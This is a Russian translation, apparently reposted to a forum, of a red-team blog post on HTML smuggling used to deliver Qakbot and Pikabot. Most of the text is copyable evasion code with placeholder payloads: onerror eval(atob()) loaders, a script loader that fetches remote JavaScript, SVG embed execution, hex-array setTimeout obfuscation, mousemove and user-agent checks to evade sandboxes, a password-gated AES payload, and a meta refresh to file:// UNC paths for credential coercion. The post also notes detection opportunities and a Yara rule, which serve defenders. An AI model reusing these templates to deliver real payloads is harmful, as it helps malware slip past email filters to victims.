Однако после недавнего изучения доставки полезной нагрузки OneNote возвращение Qakbot к контрабанде HTML, по-видимому, совпало с переходом от тяжелых контейнерных форматов, таких как ISO, к сравнительно легким, сильно запутанным форматам сценариев (т. Е. Текстовые файлы без предсказуемые заголовки файлов) в качестве первого этапа, впоследствии потянув вниз дополнительные файлы, чтобы завершить заражение.
Примечательно, что приведенный выше образец Qakbot использует .xhtml (формат HTML-документа eXtended), что может быть попыткой уклониться от правил, основанных на расширении файлов. В то время как в вышеприведенном фрагменте кода нет блоков < script >, расширенные форматы документов HTML (.xht, .xhtm, .xhtml) могут их поддерживать, если содержимое JavaScript упаковано в раздел CDATA. Пример этого можно увидеть ниже, где мы автоматизируем загрузку наших предыдущих
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<body>
<a id="download" href="data:application/octet-stream;base64,QSBkZWxpdnIudG8gLnR4dCB0ZXN0IGZpbGU=" download="test.txt" target="_blank">
</a>
</body>
<script>
<![CDATA[
document.getElementById("download").click();
]]>
</script>
</html>
Вы можете найти множество образцов расширенного формата HTML для тестирования по электронной почте и доставки ссылок в коллекции delivr.to, в том числе здесь и здесь.
«mousemove» Прослушиватель событий JavaScript (Event Listener)
В последних примерах Qakbot, malware hunter @ pr0xylife подчеркивает добавление «mousemove» прослушивателя событий JavaScript.
https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events
Прослушиватели событий позволяют выполнять код в ответ на действия, происходящие на веб-странице, например, нажатие кнопки и наведение курсора мыши, среди прочего.
В приведенном ниже примере авторы вредоносных программ использовали прослушиватель событий «mousemove», чтобы гарантировать, что загрузка файла происходит только тогда, когда пользователь взаимодействует со страницей, добавляя уклончивый элемент, который может улучшить доставку, если песочницы не имитируют взаимодействие с веб-страницей!
app.any.run
Адаптированный из приведенного выше примера, этот фрагмент кода демонстрирует простоту добавления постраничного прослушивателя событий для взаимодействия с пользователем:
Код: Скопировать в буфер обмена
Код:
document.addEventListener("mousemove", function() {
trigger();
});
Вы можете найти образец этого для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь и живую демонстрацию, которая контрабандно доставляет ISO здесь.
Проверка User-Agent
Помимо запуска при взаимодействии с пользователем, авторы вредоносных программ также наблюдали фильтрацию агентом пользователя.
app.any.run
Наш пример шифрования XOR выше демонстрирует эту технику с помощью нижеприведенного фрагмента кода:
Код: Скопировать в буфер обмена
if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|BB|PlayBook|IEMobile|Windows Phone|Kindle|Silk|Opera Mini/i.test(navigator.userAgent)) {return}
Здесь пользовательский агент цели сравнивается со списком нежелательных платформ, и если он совпадает, блок кода вернется и не продолжит загрузку файла.
Оценка кода OnError изображения
В то время как в первом разделе блога рассматривались способы, с помощью которых субъекты угроз скрывают свои полезные нагрузки в HTML-контенте, общие функции, используемые для этого (создание функций Uint8Array, charCodeAt и createObjectURL и т. Д.), Все еще могут служить статическими сигнатурами.
Чтобы решить эту проблему, мы рассмотрим хитрое решение, используемое образцом для скрытия кода контрабанды, и полностью удалим теги < script > из HTML-файла.
Для создания этой полезной нагрузки потребуется несколько этапов. Наш код первого этапа мы сохраним простым и будем использовать Base64-encoded загрузку полезной нагрузки с более раннего.
Код: Скопировать в буфер обмена
Код:
function to_blob(b64_blob, chunk_size)
{
...
}
function trigger(out)
{
...
}
var b64_blob = 'b64_payload';
var out = to_blob(b64_blob, 512);
trigger(out);
Затем мы Base64 этот JavaScript во второй блок кода:
Код: Скопировать в буфер обмена
Код:
var is_null = document;
const scr = is_null.createElement('sc'.concat('ript'));
while (true){
var not_is = scr;
not_is.innerHTML = atob('b64_stage_one')
is_null.head.appendChild(not_is);
break;
}
Здесь есть некоторая легкая запутанность, но достаточно ясно, что мы декодируем наш Base64 blob JavaScript и добавляем его в качестве нового элемента сценария на страницу.
Наконец, чтобы использовать технику OnError, мы Base64 кодируем наш блок сценария еще раз, а затем упаковываем его во вложенные функции eval (atob ()) в атрибуте OnError тега < img >.
Код: Скопировать в буфер обмена
Код:
<body>
<img src="x" style="display:none" onerror="eval(atob('b64_stage_two'))">
</body>
После визуализации изображение не будет загружаться по дизайну (поскольку наш атрибут src указывает на несуществующий ресурс), вызывая первый фрагмент кода, который добавит новый сценарий в DOM, который затем инициирует загрузку нашего файла.
Очевидным преимуществом этого метода является отсутствие тегов < script > в HTML-файле, так как весь наш встроенный JavaScript распаковывается при загрузке страницы.
При такой реализации весь JavaScript содержится в доставленном HTML-вложении, но это не обязательно так. Мы могли бы отключить наш блок кода второго этапа для следующего:
Код: Скопировать в буфер обмена
Код:
var is_null = document;
const scr = is_null.createElement('sc'.concat('ript'));
while (true){
var not_is = scr;
not_is.src = 'https://files.delivrto.me/smug.js'; //<- remote JS
// or base64 encoded
// not_is.src = atob('base64_remote_js_url_file');
is_null.head.appendChild(not_is);
break;
}
Обратите внимание, что innerHTML был заменен атрибутом src. Теперь мы указываем удаленный файл JavaScript для загрузки, который в конечном итоге содержит наш контрабандный код.
Хотя это действительно вводит внешние зависимости, которые необходимо было бы успешно переместить в конечную точку для загрузки с точки зрения статического анализа, это не позволяет нашему файлу иметь контрольные признаки контрабанды HTML с гигантской Base64 строкой нашего дважды закодированного ZIP-файла.
Вы можете найти образец варианта загрузки локального сценария этой техники для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь, а также живую демонстрацию, которая контрабандно доставляет zipped ISO здесь. Удаленный вариант можно найти в коллекции delivr.to здесь и демо здесь.
Выполнение кода образа SVG
Другим сопоставимым методом, используемым для доставки QakBot, является использование изображения SVG для выполнения кода JavaScript. Пример этого мы можем увидеть здесь (в комплекте с другим поддельным фоном Google Drive):
app.any.run
Это требует вложенной кодировки блоков кода, как и раньше. Вот наш первый блок, который является XML изображения SVG с элементом < script >, содержащим наш шаблонный код внутри него.
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle cx="1" cy="1" r="1" fill="red" />
<script type="text/javascript">
<![CDATA[
function to_blob(b64_blob, chunk_size)
{
...
}
function trigger(out)
{
...
}
var content = 'base64_payload';
var blob = to_blob(content, 512);
trigger(blob);
]]>
</script>
</svg>
Затем это можно поместить в HTML-файл, для приведенного выше примера этот код использовал обратную полезную нагрузку Base64:
Код: Скопировать в буфер обмена
Код:
<body onload="init()">
<script>
function rev(s)
{
return s.split("").reverse().join("");
}
function init()
{
var data = "data:image/svg+xml;base64,";
var embed = document.createElement("embed");
embed.setAttribute("width", 1);
embed.setAttribute("height", 1);
embed.setAttribute("src", data + rev("reversed_b64_payload"));
document.body.appendChild(embed);
}
</script>
Концептуально это очень похоже на технику OnError, где содержимое JavaScript динамически добавляется на страницу. Хотя в этой реализации используется элемент <script> в HTML-вложении для вставки SVG-изображения при загрузке страницы.
Интересным артефактом обнаружения этого подхода доставки Qakbot являются строки заголовков ZIP-файлов с двойной кодировкой. Отличное правило Yara от Флориана Рота идентифицирует эти заголовки файлов:
https://github.com/Neo23x0/signatur...5c8a06---------------------------------------
Реализацию правила Флориана в виде MQL-правила для Sublime также можно посмотреть здесь:
github.com
Кроме того, использование техники OnError и этой техники встраивания SVG-изображений приводит к тому, что контрабандный zip имеет UUID-имя файла (а не то, которое указано в исходной функции trigger()). Это может создать возможность для обнаружения (в сочетании с открытием локального HTML-файла). Примечательно, что для этой техники мы можем гарантировать использование пользовательского имени файла, встроив SVG непосредственно в HTML, а не добавляя его динамически при загрузке страницы, хотя это имеет свои недостатки с точки зрения статического анализа.
Полное воссоздание примера Qakbot для тестирования доставки по электронной почте и по ссылке вы можете найти в коллекции delivr.to здесь, а демонстрационное видео этого примера - ниже:
ссылка на видео
Карта шестнадцатеричных строк SetTimeout
Наша последняя техника смаглинга, снова взятая из этого примера, имеет сходство с уже упомянутыми техниками загрузки изображения OnError и SVG-изображения.
Код: Скопировать в буфер обмена
Код:
<html>
<script>
let arrayBuffer = ['0x50', '0x43', '0x46', ...];
let signed_chars = [0x12c,0x14d,0x129,0x15f,0x147,0x12f,0x14a,0x15c,0x8a,0x14d,0x150,0x12f,0x14a,0x78,0x7b,0xb1,0x12c,0x14d,0x129,0x15f,0x147,0x12f,0x14a,0x15c,0x8a,0x165,0x156,0x13b,0x15c,0x12f,0x78,0x123,0x15c,0x14d,0x126,0x78,0x15f,0x14a,0x159,0x13b,0x135,0x14a,0x12f,0x12c,0x11d,0x129,0x138,0x123,0x156,0x159,0x7b,0x7b,0xb1,0x12c,0x14d,0x129,0x15f,0x147,0x12f,0x14a,0x15c,0x8a,0x129,0x144,0x14d,0x159,0x12f,0x78,0x7b,0xb1,];
var unsigned_long = String;
unsigned_chars = "";
for(let buffer of arrayBuffer){
unsigned_chars += unsigned_long["edoCrahCmorf"["split"]("")["reverse"]()["join"]("")](buffer);
}
setTimeout([...signed_chars].map((single_byte) => unsigned_long["edoCrahCmorf"["split"]("")["reverse"]()["join"]("")](single_byte/3))["join"](""));
</script>
</html>
Как показано выше, эта техника использует функцию setTimeout JavaScript для оценки и выполнения встроенного кода при загрузке страницы. Пример состоит из двух шестнадцатеричных массивов. Первый, signed_chars, является оберткой для нашего возможного кода HTML Smuggling и при преобразовании выдает следующую строку:
Код: Скопировать в буфер обмена
document.open();document.write(atob(unsigned_chars));document.close();
Как и в случае с динамическим созданием новых элементов <script>, который мы уже рассматривали ранее, здесь мы идем на шаг дальше и используем функцию document.write() для перезаписи всей страницы содержимым нашего второго шестнадцатеричного массива arrayBuffer; после того как он будет декодирован в строку Base64 под названием unsigned_chars. Вы можете узнать знакомую обратную функцию JavaScript в строке 'edoCrahCmorf'!
Примечательно, что в массиве signed_chars каждый символ перед встраиванием в HTML-файл умножается на три (обратите внимание на преобразование '(single_byte/3)' при распаковке массива), что позволяет избежать статических сигнатур для комбинаций шестнадцатеричных символов, представляющих функции JavaScript. В оригинальном примере эта техника также применяется к массиву arrayBuffer по той же причине, хотя здесь мы немного упростили ситуацию.
Наш предварительно закодированный HTML-блок может выглядеть примерно так, где мы включаем крайние теги <html> и содержимое страницы, а также контрабандный шаблон, который мы использовали все это время.
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="en-us">
<head>
<title>Hex Array Map SetTimeout</title>
</head>
<body>
<section class="a">
<header>
<h1>delivr.to</h1>
<h3>HTML Smuggling with Hex encoding, Map and SetTimeout</h3>
<p>Download will start automatically!</p>
</header>
</section>
<script>
function to_blob(b64_blob, chunk_size)
{
...
}
function trigger(out)
{
...
}
var f = "{{PAYLOAD}}";
trigger(to_blob(f, 512));
</script>
</body>
</html>
Преимущество этой реализации заключается в том, что она скрывает все содержимое страницы, которое в конечном итоге отображается целевому пользователю. Таким образом, скрываются любые общие признаки фишинговых вложений, такие как изображения бренда или поддельные порталы для входа.
Вы можете найти образец этой программы для тестирования через электронную почту и доставку ссылок в коллекции delivr.to здесь, а живое демо, которое контрабандой доставляет запечатанный ISO, здесь.
Обновление #1 (31/03/2023) - AES-шифрование с паролем, вводимым пользователем
Если пойти еще дальше в комбинации обфускации полезной нагрузки и способов доставки, то можно использовать шифрование, при котором для расшифровки используется предоставленный пользователем материал. Это может быть поддельная файлообменная веб-страница, запрашивающая пароль, а учетные данные отправляются отдельно.
Преимущество этой техники в том, что для запуска загрузки требуется взаимодействие с пользователем, что может ускользнуть от автоматического анализа, а также в том, что она более полно защищает нашу полезную нагрузку от статического анализа, гарантируя, что мы не попадем под действие предсказуемых закодированных строк, которые мы видели ранее.
В примере ниже мы реализуем расшифровку блочного шифра AES CTR, а также поддерживаем методы кодирования UTF-8 и Base64 (заменяя часто используемую функцию atob()!
В этом начальном примере мы используем жестко закодированный пароль (слово «пароль»!), который расшифрует шифрованный текст и предоставит нам полезную нагрузку в Base64-кодировке (в переменной decryptedData). Затем это можно объединить с чем-то вроде нашего примера контрабанды Base64 HTML из Outflank, чтобы инициировать загрузку.
Код: Скопировать в буфер обмена
Код:
<script>
var Aes = {};
Aes.cipher = function (input, w) {
var Nb = 4;
var Nr = w.length / Nb - 1;
var state = [[],[],[],[]];
for (var i = 0; i < 4 * Nb; i++)
state[i % 4][Math.floor(i / 4)] = input[i];
state = Aes.addRoundKey(state, w, 0, Nb);
for (var round = 1; round < Nr; round++) {
state = Aes.subBytes(state, Nb);
state = Aes.shiftRows(state, Nb);
state = Aes.mixColumns(state, Nb);
state = Aes.addRoundKey(state, w, round, Nb);
}
state = Aes.subBytes(state, Nb);
state = Aes.shiftRows(state, Nb);
state = Aes.addRoundKey(state, w, Nr, Nb);
var output = new Array(4 * Nb);
for (var i = 0; i < 4 * Nb; i++)
output[i] = state[i % 4][Math.floor(i / 4)];
return output;
};
Aes.keyExpansion = function (key) {
var Nb = 4;
var Nk = key.length / 4;
var Nr = Nk + 6;
var w = new Array(Nb * (Nr + 1));
var temp = new Array(4);
for (var i = 0; i < Nk; i++) {
var r = [ key[4 * i], key[4 * i + 1], key[4 * i + 2], key[4 * i + 3] ];
w[i] = r;
}
for (var i = Nk; i < Nb * (Nr + 1); i++) {
w[i] = new Array(4);
for (var t = 0; t < 4; t++)
temp[t] = w[i - 1][t];
if (i % Nk == 0) {
temp = Aes.subWord(Aes.rotWord(temp));
for (var t = 0; t < 4; t++)
temp[t] ^= Aes.rCon[i / Nk][t];
} else if (Nk > 6 && i % Nk == 4) {
temp = Aes.subWord(temp);
}
for (var t = 0; t < 4; t++)
w[i][t] = w[i - Nk][t] ^ temp[t];
}
return w;
};
Aes.subBytes = function (s, Nb) {
for (var r = 0; r < 4; r++) {
for (var c = 0; c < Nb; c++)
s[r][c] = Aes.sBox[s[r][c]];
}
return s;
};
Aes.shiftRows = function (s, Nb) {
var t = new Array(4);
for (var r = 1; r < 4; r++) {
for (var c = 0; c < 4; c++)
t[c] = s[r][(c + r) % Nb];
for (var c = 0; c < 4; c++)
s[r][c] = t[c];
}
return s;
};
Aes.mixColumns = function (s, Nb) {
for (var c = 0; c < 4; c++) {
var a = new Array(4);
var b = new Array(4);
for (var i = 0; i < 4; i++) {
a[i] = s[i][c];
b[i] = s[i][c] & 128 ? s[i][c] << 1 ^ 283 : s[i][c] << 1;
}
s[0][c] = b[0] ^ a[1] ^ b[1] ^ a[2] ^ a[3];
s[1][c] = a[0] ^ b[1] ^ a[2] ^ b[2] ^ a[3];
s[2][c] = a[0] ^ a[1] ^ b[2] ^ a[3] ^ b[3];
s[3][c] = a[0] ^ b[0] ^ a[1] ^ a[2] ^ b[3];
}
return s;
};
Aes.addRoundKey = function (state, w, rnd, Nb) {
for (var r = 0; r < 4; r++) {
for (var c = 0; c < Nb; c++)
state[r][c] ^= w[rnd * 4 + c][r];
}
return state;
};
Aes.subWord = function (w) {
for (var i = 0; i < 4; i++)
w[i] = Aes.sBox[w[i]];
return w;
};
Aes.rotWord = function (w) {
var tmp = w[0];
for (var i = 0; i < 3; i++)
w[i] = w[i + 1];
w[3] = tmp;
return w;
};
Aes.sBox=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16];
Aes.rCon=[[0x00,0x00,0x00,0x00],[0x01,0x00,0x00,0x00],[0x02,0x00,0x00,0x00],[0x04,0x00,0x00,0x00],[0x08,0x00,0x00,0x00],[0x10,0x00,0x00,0x00],[0x20,0x00,0x00,0x00],[0x40,0x00,0x00,0x00],[0x80,0x00,0x00,0x00],[0x1b,0x00,0x00,0x00],[0x36,0x00,0x00,0x00]];
Aes.Ctr = {};
Aes.Ctr.decrypt = function (ciphertext, password, nBits) {
var blockSize = 16;
if (!(nBits == 128 || nBits == 192 || nBits == 256))
return '';
ciphertext = Base64.decode(ciphertext);
password = Utf8.encode(password);
var nBytes = nBits / 8;
var pwBytes = new Array(nBytes);
for (var i = 0; i < nBytes; i++) {
pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
}
var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));
key = key.concat(key.slice(0, nBytes - 16));
var counterBlock = new Array(8);
ctrTxt = ciphertext.slice(0, 8);
for (var i = 0; i < 8; i++)
counterBlock[i] = ctrTxt.charCodeAt(i);
var keySchedule = Aes.keyExpansion(key);
var nBlocks = Math.ceil((ciphertext.length - 8) / blockSize);
var ct = new Array(nBlocks);
for (var b = 0; b < nBlocks; b++)
ct[b] = ciphertext.slice(8 + b * blockSize, 8 + b * blockSize + blockSize);
ciphertext = ct;
var plaintxt = new Array(ciphertext.length);
for (var b = 0; b < nBlocks; b++) {
for (var c = 0; c < 4; c++)
counterBlock[15 - c] = b >>> c * 8 & 255;
for (var c = 0; c < 4; c++)
counterBlock[15 - c - 4] = (b + 1) / 4294967296 - 1 >>> c * 8 & 255;
var cipherCntr = Aes.cipher(counterBlock, keySchedule);
var plaintxtByte = new Array(ciphertext[b].length);
for (var i = 0; i < ciphertext[b].length; i++) {
plaintxtByte[i] = cipherCntr[i] ^ ciphertext[b].charCodeAt(i);
plaintxtByte[i] = String.fromCharCode(plaintxtByte[i]);
}
plaintxt[b] = plaintxtByte.join('');
}
var plaintext = plaintxt.join('');
plaintext = Utf8.decode(plaintext);
return plaintext;
};
var Utf8 = {};
Utf8.encode = function (strUni) {
var strUtf = strUni.replace(/[\u0080-\u07ff]/g, function (c) {
var cc = c.charCodeAt(0);
return String.fromCharCode(192 | cc >> 6, 128 | cc & 63);
});
strUtf = strUtf.replace(/[\u0800-\uffff]/g, function (c) {
var cc = c.charCodeAt(0);
return String.fromCharCode(224 | cc >> 12, 128 | cc >> 6 & 63, 128 | cc & 63);
});
return strUtf;
};
Utf8.decode = function (strUtf) {
var strUni = strUtf.replace(/[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g, function (c) {
var cc = (c.charCodeAt(0) & 15) << 12 | (c.charCodeAt(1) & 63) << 6 | c.charCodeAt(2) & 63;
return String.fromCharCode(cc);
});
strUni = strUni.replace(/[\u00c0-\u00df][\u0080-\u00bf]/g, function (c) {
var cc = (c.charCodeAt(0) & 31) << 6 | c.charCodeAt(1) & 63;
return String.fromCharCode(cc);
});
return strUni;
};
var Base64 = {};
Base64.code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
Base64.encode = function (str, utf8encode) {
utf8encode = typeof utf8encode == 'undefined' ? false : utf8encode;
var o1, o2, o3, bits, h1, h2, h3, h4, e = [], pad = '', c, plain, coded;
var b64 = Base64.code;
plain = utf8encode ? str.encodeUTF8() : str;
c = plain.length % 3;
if (c > 0) {
while (c++ < 3) {
pad += '=';
plain += '\0';
}
}
for (c = 0; c < plain.length; c += 3) {
o1 = plain.charCodeAt(c);
o2 = plain.charCodeAt(c + 1);
o3 = plain.charCodeAt(c + 2);
bits = o1 << 16 | o2 << 8 | o3;
h1 = bits >> 18 & 63;
h2 = bits >> 12 & 63;
h3 = bits >> 6 & 63;
h4 = bits & 63;
e[c / 3] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
}
coded = e.join('');
coded = coded.slice(0, coded.length - pad.length) + pad;
return coded;
};
Base64.decode = function (str, utf8decode) {
utf8decode = typeof utf8decode == 'undefined' ? false : utf8decode;
var o1, o2, o3, h1, h2, h3, h4, bits, d = [], plain, coded;
var b64 = Base64.code;
coded = utf8decode ? str.decodeUTF8() : str;
for (var c = 0; c < coded.length; c += 4) {
h1 = b64.indexOf(coded.charAt(c));
h2 = b64.indexOf(coded.charAt(c + 1));
h3 = b64.indexOf(coded.charAt(c + 2));
h4 = b64.indexOf(coded.charAt(c + 3));
bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
o1 = bits >>> 16 & 255;
o2 = bits >>> 8 & 255;
o3 = bits & 255;
d[c / 4] = String.fromCharCode(o1, o2, o3);
if (h4 == 64)
d[c / 4] = String.fromCharCode(o1, o2);
if (h3 == 64)
d[c / 4] = String.fromCharCode(o1);
}
plain = d.join('');
return utf8decode ? plain.decodeUTF8() : plain;
};
var cipherText= "ENCRYPTED_BASE64_PAYLOAD"
var decryptedData = Aes.Ctr.decrypt(cipherText, "password", 128);
...
</script>
Эквивалентный метод шифрования на JavaScript для получения шифротекста нашей полезной нагрузки в Base64-кодировке будет выглядеть следующим образом:
Код: Скопировать в буфер обмена
Код:
Aes.Ctr.encrypt = function (plaintext, password, nBits) {
var blockSize = 16;
if (!(nBits == 128 || nBits == 192 || nBits == 256))
return '';
plaintext = Utf8.encode(plaintext);
password = Utf8.encode(password);
var nBytes = nBits / 8;
var pwBytes = new Array(nBytes);
for (var i = 0; i < nBytes; i++) {
pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
}
var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));
key = key.concat(key.slice(0, nBytes - 16));
var counterBlock = new Array(blockSize);
var nonce = (new Date()).getTime();
var nonceSec = Math.floor(nonce / 1000);
var nonceMs = nonce % 1000;
for (var i = 0; i < 4; i++)
counterBlock[i] = nonceSec >>> i * 8 & 255;
for (var i = 0; i < 4; i++)
counterBlock[i + 4] = nonceMs & 255;
var ctrTxt = '';
for (var i = 0; i < 8; i++)
ctrTxt += String.fromCharCode(counterBlock[i]);
var keySchedule = Aes.keyExpansion(key);
var blockCount = Math.ceil(plaintext.length / blockSize);
var ciphertxt = new Array(blockCount);
for (var b = 0; b < blockCount; b++) {
for (var c = 0; c < 4; c++)
counterBlock[15 - c] = b >>> c * 8 & 255;
for (var c = 0; c < 4; c++)
counterBlock[15 - c - 4] = b / 4294967296 >>> c * 8;
var cipherCntr = Aes.cipher(counterBlock, keySchedule);
var blockLength = b < blockCount - 1 ? blockSize : (plaintext.length - 1) % blockSize + 1;
var cipherChar = new Array(blockLength);
for (var i = 0; i < blockLength; i++) {
cipherChar[i] = cipherCntr[i] ^ plaintext.charCodeAt(b * blockSize + i);
cipherChar[i] = String.fromCharCode(cipherChar[i]);
}
ciphertxt[b] = cipherChar.join('');
}
var ciphertext = ctrTxt + ciphertxt.join('');
ciphertext = Base64.encode(ciphertext);
return ciphertext;
};
var cipherText = Aes.Ctr.encrypt("BASE64_ENCODED_PAYLOAD", "password", 128);
Имея необходимые функции для создания зашифрованной AES полезной нагрузки и ее повторной расшифровки, мы можем реализовать простейший пользовательский интерфейс для ввода пароля, как показано ниже:
Код: Скопировать в буфер обмена
Код:
<html>
<body>
<p>
Enter File Download Password:
<input id="passBox" name="inputPassword" value="" />
</p>
<button onclick="Download()">Download</button>
<p style="color:red" id="messageBox"></p>
</body>
<script>
function Validate(cipherText) {
if (document.getElementById("passBox").value == "" || document.getElementById("passBox").value.length < 8)
return false;
else if (Aes.Ctr.decrypt("dIYlZAAAAAAmKL/xhw==", document.getElementById("passBox").value, 128) == "valid")
return true;
else
return false;
}
function Download() {
var password = document.getElementById("passBox").value;
var cipherText = "CIPHERTEXT_OF_BASE64_PAYLOAD";
if (Validate()){
var decryptedData = Aes.Ctr.decrypt(cipherText, password, 128);
// Initiate Download
}
else {
document.getElementById("messageBox").innerText = "Bad Password.";
document.getElementById("passBox").value = "";
}
}
</script>
</html>
- Это позволяет добиться следующего:
- Принимаем введенную пользователем строку из поля ввода 'passBox'.
- По нажатию кнопки запускаем функцию Download().
- Если пароль действителен (по результатам работы функции Validate()), инициируйте расшифровку.
- Если нет, обновите страницу, написав 'Bad Password.', и очистите поле ввода 'passBox'.
Базовая HTML-форма для ввода пароля
Наша функция Validate() выполняет две проверки. Первая проверяет, что введенный пароль не пуст и имеет длину более 8 символов. Вторая проверка использует предоставленный пароль для расшифровки зашифрованной строки с чистым текстом 'valid'. Если мы расшифровываем строку и получаем ожидаемое значение 'valid', мы знаем, что пароль верен, и можем приступать к расшифровке основной полезной нагрузки.
Внедрение сравнения чистого и шифрованного текстов таким образом, вероятно, помогает анализировать общую полезную нагрузку, но основное преимущество этой реализации заключается в том, что конечный пользователь получает загрузку только в том случае, если его пароль введен правильно, а не предоставляет ему деформированную полезную нагрузку, расшифрованную с помощью неправильного ключа.
В коллекции delivr.to вы можете найти образец этой программы для тестирования через доставку по электронной почте и по ссылке здесь, а также обфусцированную версию здесь, и живую демонстрацию (пароль - это 'password'!), которая контрабандой доставляет ISO здесь.
Обновление № 3 (27/02/2024) - Meta http-equiv Redirect
Так же, как и в методе атрибутов OnError Image, новые способы запуска выполнения или перенаправления JavaScript могут быть выгодны для предотвращения обнаружения и увеличения доставляемости.
Замеченное в доставке вредоносного ПО Pikabot с 24 февраля перенаправление в целях контрабанды или загрузки файлов может быть достигнуто с помощью атрибута http-equiv в теге HTML < meta >.
Пример такой методики можно увидеть ниже:
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html>
<body>
<meta http-equiv="Refresh" content="3; url='[download_or_html_link]'" />
<div>A delivr.to test file that redirects via meta http-equiv attribute</div>
</body>
</html>
Атрибут meta http-equiv позволяет создавать перенаправление с настраиваемой задержкой. В приведенном выше примере страница будет ждать в течение трех секунд, прежде чем загружать контент, обслуживаемый из поля url.
В зависимости от назначения ссылки это может быть тип файла HTML или SVG, который визуализирует кражу или контрабанду учетных данных, или двоичный формат, который инициирует загрузку файла.
Примечательно, что URL также может быть UNC-путем с префиксом file ://, чтобы инициировать загрузку через SMB или WebDAV. Первый предоставляет дополнительные возможности для кражи учетных данных с помощью автоматического принуждения.
Вы можете найти образец этого для тестирования по электронной почте и доставки ссылок в коллекции delivr.to здесь.
Заключениe
В этом блоге мы изучили способы, с помощью которых субъекты угроз используют методы, чтобы запутать свои полезные нагрузки и сделать анализ и обнаружение контрабанды HTML в приложениях электронной почты более сложными.
Мы видели примеры различных методов кодирования и шифрования, а также методов, использующих прослушиватели событий JavaScript и проверки пользовательских агентов, чтобы гарантировать, что полезная нагрузка не подвергается динамическому анализу или не загружается на непреднамеренной платформе. Наконец, мы видели примеры использования файлов SVG, атрибутов элемента изображения OnError и функций setTimeout, чтобы еще больше скрыть контрабанду.
По пути мы выявили несколько возможностей обнаружения различных методов и увидели действенные фрагменты кода и демонстрации, чтобы самим эмулировать эти методы.
Блог, написанный Alfie Champion.